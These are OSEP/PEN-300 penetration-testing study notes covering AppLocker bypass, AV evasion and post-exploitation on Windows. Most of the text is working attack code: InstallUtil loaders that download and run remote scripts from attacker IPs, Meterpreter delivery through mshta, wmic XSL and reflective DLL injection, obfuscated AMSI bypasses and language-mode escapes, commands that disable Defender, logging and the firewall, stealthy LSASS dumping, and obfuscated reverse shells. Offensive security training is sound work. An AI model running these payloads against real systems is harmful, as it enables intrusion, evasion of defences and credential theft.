Contents
- Sources
- Important!
- OSEP Notes Overview PT 1 by Joas
- Mitre Framework
- Impersonation vs delegation
- Managed vs Unmanaged code
- AppLocker Basics
- AppLocker Bypass Using Powershell
- AppLocker Bypass Using JScript
- AV Evasion – General
- DLL Injection
- Domain Fronting
- DNS Tunneling
- Dropper
- Evasion techniques
- Frida – Hooking
- JScript
- Kiosk Breakout
- Linux Post Explotation
- Meterpreter Post Explotation
- Office Phishing (Client side code exec)
- Persistence
- PowerShell in VBA
- Process Injection
- Process Hollowing
- Phishing
- Proxy-aware PowerShell Cradle
- Reflection Load (In-memory)
- Shellcode Encryptors
- Simple Shellcode Runners
- UAC Bypass
- VBA Stomping
- Windows Credentials
Sources
Offsec Pen-300 PDF
Important!
See this for a comprehensive guide on AV evasion with many different examples.
AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM
OSEP Notes Overview PT 1 by Joas
Mitre Framework
TITLE | URL | SHORT DESCRIPTION |
---|---|---|
MITRE Engage | https://engage.mitre.org/ | MITRE Engage is a platform for collaboration and engagement in the cybersecurity community. |
MITRE ATT&CK | https://attack.mitre.org/ | MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks. |
MITRE Cyber Analytics Repository (CAR) | https://car.mitre.org/ | CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities. |
MITRE D3FEND | https://d3fend.mitre.org/ | D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK. |
Common Vulnerabilities and Exposures (CVE) | https://cve.mitre.org/ | CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities. |
Common Attack Pattern Enumeration and Classification (CAPEC) | https://capec.mitre.org/ | CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity. |
Common Weakness Enumeration (CWE) | https://cwe.mitre.org/ | CWE is a community-developed list of common software and hardware weaknesses. |
Malware Attribute Enumeration and Characterization (MAEC) | https://maecproject.github.io/ | MAEC is a project for standardizing the encoding and communication of malware characteristics. |
Impersonation vs delegation
- Impersonation Tokens: These tokens can be used to impersonate another user on the same system. You don’t necessarily need SYSTEM privileges to obtain and use these tokens.
- Delegation Tokens: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.
Managed vs Unmanaged code
Managed Code: Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don’t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.
Unmanaged Code: Now, imagine you’re living in your own house. You’re in charge of everything – cleaning, fixing, and making sure it’s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.
AppLocker Basics
Enumerate AppLocker
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.
Here’s a guide on how to enumerate AppLocker:
- Using PowerShell:
- View current AppLocker policies:
powershell Get-AppLockerPolicy -Effective -xml
- Check for any configured rules:
powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections
- Using Windows Event Viewer:
- AppLocker logs its events under ‘Applications and Services Logs > Microsoft > Windows > AppLocker’.
- Look for these event IDs:
- 8002: A rule was ignored because its conditions were incomplete.
- 8003: No AppLocker rules were applied because no rules are in the policy.
- 8004: AppLocker started enforcing rules.
- 8005: AppLocker stopped enforcing rules.
- 8006: AppLocker policy was changed.
- 8007: AppLocker encountered an error with a rule and continued processing rules.
- 8008: AppLocker policy was deleted.
- Using the Local Security Policy MMC:
- Go to
Start > Run
and typesecpol.msc
. - In the Security Settings tree, go to
Application Control Policies > AppLocker
.
- Using Group Policy Editor:
- Go to
Start > Run
and typegpedit.msc
. - Navigate to
Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker
.
- Check for AppLocker’s DLL Rules:
- Sometimes, administrators overlook DLL rules which can be used for bypasses.
- Use PowerShell to check DLL rules:
powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq 'DllRule' }
- Using PowerUp.ps;
PS C:\>. .\PowerUp.ps1
PS C:\>Invoke-AllChecks
Identify Writeable folders
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.
# Find writeable folders
accesschk.exe "student" C:\Windows -wus
# Check Executable Permissions
icacls.exe C:\Windows\Tasks
# This folder is used by the Task Scheduler to store scheduled tasks.
C:\Windows\Tasks
# Temporary files are stored in this directory. This is a common writable directory for all users.
C:\Windows\Temp
# Used for network tracing logs.
C:\Windows\tracing
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).
C:\Windows\Registration\CRMLog
# Related to fax services.
C:\Windows\System32\FxsTmp
# Also related to the Task Scheduler, but not typically writable for standard users by default.
C:\Windows\System32\Tasks
# This is where AppLocker configuration and event log data are stored.
C:\Windows\System32\AppLocker
# COM+ dump folder.
C:\Windows\System32\Com\dmp
# Contains cryptographic keys used by the OS.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
# Print spooler folder, where print jobs are temporarily stored.
C:\Windows\System32\spool\PRINTERS
# Another print spooler related directory.
C:\Windows\System32\spool\SERVERS
# Contains color profiles for devices.
C:\Windows\System32\spool\drivers\color
# Specific task related to OneDrive updates.
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...
Alternate Data Stream
- Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.
- NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.
- ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.
Combine this technique with DotNetToJscript to get a meterpreter shell.
1. Creating a Simple Jscript for Proof of Concept:
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
- Save the above Jscript as test.js .
2. Finding a Writable and Executable File:
- A trusted location is required that has files both writable and executable.
- Example: TeamViewer version 12 on the victim machine has a log file ( TeamViewer12_Logfile.log ) that meets the criteria.
3. Embedding the Jscript into an Alternate Data Stream (ADS):
- Use the type command to copy the content into an ADS of the trusted file.
C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"
4. Verifying the Jscript in the Alternate Data Stream:
- Use the dir /r command to validate the Jscript presence in the ADS.
dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log"
Volume in drive C has no label.
Volume Serial Number is 2467-A865
Directory of C:\Program Files (x86)\TeamViewer
09/25/2023 06:05 AM 62,790 TeamViewer12_Logfile.log
11,736 TeamViewer12_Logfile.log:demo.js:$DATA
1 File(s) 62,790 bytes
0 Dir(s) 8,034,390,016 bytes free
- The output should show the TeamViewer12_Logfile.log:test.js:$DATA indicating successful writing to the alternate data stream.
5. Executing the Jscript from the Alternate Data Stream:
- Double-clicking the icon for the log file ( TeamViewer12_Logfile.log ) opens it in Notepad as a standard log file.
- To execute the embedded Jscript, run it from the command line using wscript and specify the ADS.
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"
AppLocker Bypass Using Powershell
Constrained Language Mode
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you’re restricted in what you can do to avoid dangerous situations.
Enumerate CLM
$ExecutionContext.SessionState.LanguageMode
Custom Runspace
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.
The code below will execute in Full Language mode.
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget
# Add a reference to System.Configuration.Install in Visual Studio.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using static System.Net.Mime.MediaTypeNames;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
PowerShell CLM Bypass
Use only uninstall
as install
requires admin privileges.
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
To execute the code above
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
Bypassing Antivirus
- Download and obfuscate the executable with Base64 encoding using certutil on the development Windows machine
certutil -encode
C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt
Input Length = 5120
Output Length = 7098
CertUtil: -encode command completed successfully.
C:\Users\Offsec>type file.txt
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.
Unable to complete transfer.
ERROR FILE: http://192.168.45.198/file.txt -> C:\users\student\enc.txt
ERROR CODE: 0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.
- Decode it on disk using certutil -decode .
- Use bitsadmin for the downloading.
- Combining Commands:
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe

Reflective injection
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.
- Generate a 64-bit Meterpreter DLL: This will be our payload.
- Host Meterpreter DLL on Kali Apache server.
- Upload Invoke-ReflectivePEInjection.ps1 (Don’t use the Github version, use the one from Offsec) to the Apache server.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.198/met.dll'); (New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
To execute the above on target machine, use the command
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe


AppLocker Bypass Using JScript
JScript and MSHTA
- Microsoft HTML Applications (MSHTA) execute
.hta
files using mshta.exe
. -
.hta
files can have embedded JScript or VBS code. -
mshta.exe
is commonly whitelisted because it’s in C:\Windows\System32
and is a signed Microsoft application. - Using
mshta.exe
can bypass whitelisting as an alternative towscript.exe
.
Create a shortcut file on Windows target and create a .hta
file. For example, you can you use msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f hta-psh -o index.hta
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.
How to get a meterpreter shell using Jscript and MSHTA
Step 1 – Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.
Step 2 – Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.
Step 3 – To do this add HTML tags to the .js
file and change the extension to .hta
. Call it index.hta.
The code below is the outputted DotNetToJs jscript file but the the <html> tags added.
<html>
<head>
<script language="JScript">
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
.....";
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
Step 4 – Host this on your Kali using apache2 or python.
Step 5 – On target there are a couple of ways to execute it. Either using shortcut as you see below.
Or using the command:
C:\windows\system32\mshta.exe http://kali-ip/index.hta
or visiting the website using Internet Explorer. Using another browser will end up downloading the .hta
file and not executing it.

XLS Transform
- Purpose: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.
- Known As: Squiblytwo attack (see Mitre T1220).
- Basic Principle: XSLT uses .xsl documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.
Step 1 – Craft a Malicious XSL Document:
- Create a malicious XSL file containing the Jscript payload you want to execute.
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe");
]]>
</ms:script>
</stylesheet>
- Note: This XSL file will open cmd.exe when triggered.
Step 2 – Host the Malicious XSL Document:
- Host the file on an Apache webserver or Python HTTP server.
Step 3 – Trigger the Payload:
- Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.
wmic process get brief /format:"http://192.168.119.120/test.xsl"
- A new command prompt should open.
Getting Meterpreter shell
Step 1 – Edit the .xsl
file
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
---- ADD YOUR JSCRIPT CODE HERE ---
]]>
</ms:script>
</stylesheet>
The entire code will look like this.
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQ..."; // Truncated
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</ms:script>
</stylesheet>
Step 3 – Host the .xsl
on your kali and run the follow command on target
wmic process get brief /format:"http://192.168.119.120/test.xsl"

AV Evasion – General
Check AV – Running, Exclusion, Disable
- Check if Windows Defender is running:
Get-MpComputerStatus | Select RealTimeProtectionEnabled
- Get info about Windows Defender:
Get-MpPreference
- Find excluded folders from Windows Defender:
Get-MpPreference | select Exclusion*
- Create exclusion:
Set-MpPreference -ExclusionPath "<path>"
- Check AV detections:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
- Get last AV detection:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
- Disable AV monitoring:
Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
- Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
- Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system
// Importing necessary namespaces
using System;
using System.Management;
internal class Program
{
static void Main(string[] args)
{
var status = false; // Variable to track the presence of antivirus software
Console.WriteLine("[+] Antivirus check is running .. ");
// Array of antivirus processes to check for
string[] AV_Check = {
"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
};
// Creating a ManagementObjectSearcher to query Windows processes
var searcher = new ManagementObjectSearcher("select * from win32_process");
var processList = searcher.Get(); // Retrieving the list of processes
int i = 0;
foreach (var process in processList)
{
// Checking if the process is one of the antivirus processes
int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
if (_index > -1)
{
// Antivirus process found
Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
status = true;
}
i++;
}
// Checking the status variable to determine if antivirus software was found or not
if (!status)
{
Console.WriteLine("--AV software is not found!");
}
}
}
Windows Firewall
- Get state:
Get-NetFirewallProfile -PolicyStore ActiveStore
- Get rules:
Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
- Disable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- Enable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
- Change default policy:
Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
- Open port on firewall:
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
- Remove firewall rule:
Remove-NetFirewallRule -DisplayName "Allow port"
Powershell – ASMI bypass methods, Disable AV, etc
AMSI Bypass
- Start 64 bit powershell:
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
- Change execution policy:
Set-ExecutionPolicy Bypass
or-ExecutionPolicy Bypass
- Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:
If patched, just change up the strings/variables.
Single-line bypasses:
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
Multi-line bypass:
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)
Single-line bypasses:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Credit: https://buaq.net/go-98295.html
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it’s originally from Matt Graeber)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html
Bypass CLM (Constrained Language Mode)
Escapes for Constrained Language Mode:
# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
Bypass logging
Logging evasion techniques:
# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
Disable MS Defender (Require elevation)
Turning off Windows Defender:
Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
Add folder exclusion
Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"
Checking exclusions
Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
-------------
{C:\temp}
LSASS dumping without triggering Defender
$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()
Reverse Shells
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2 = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
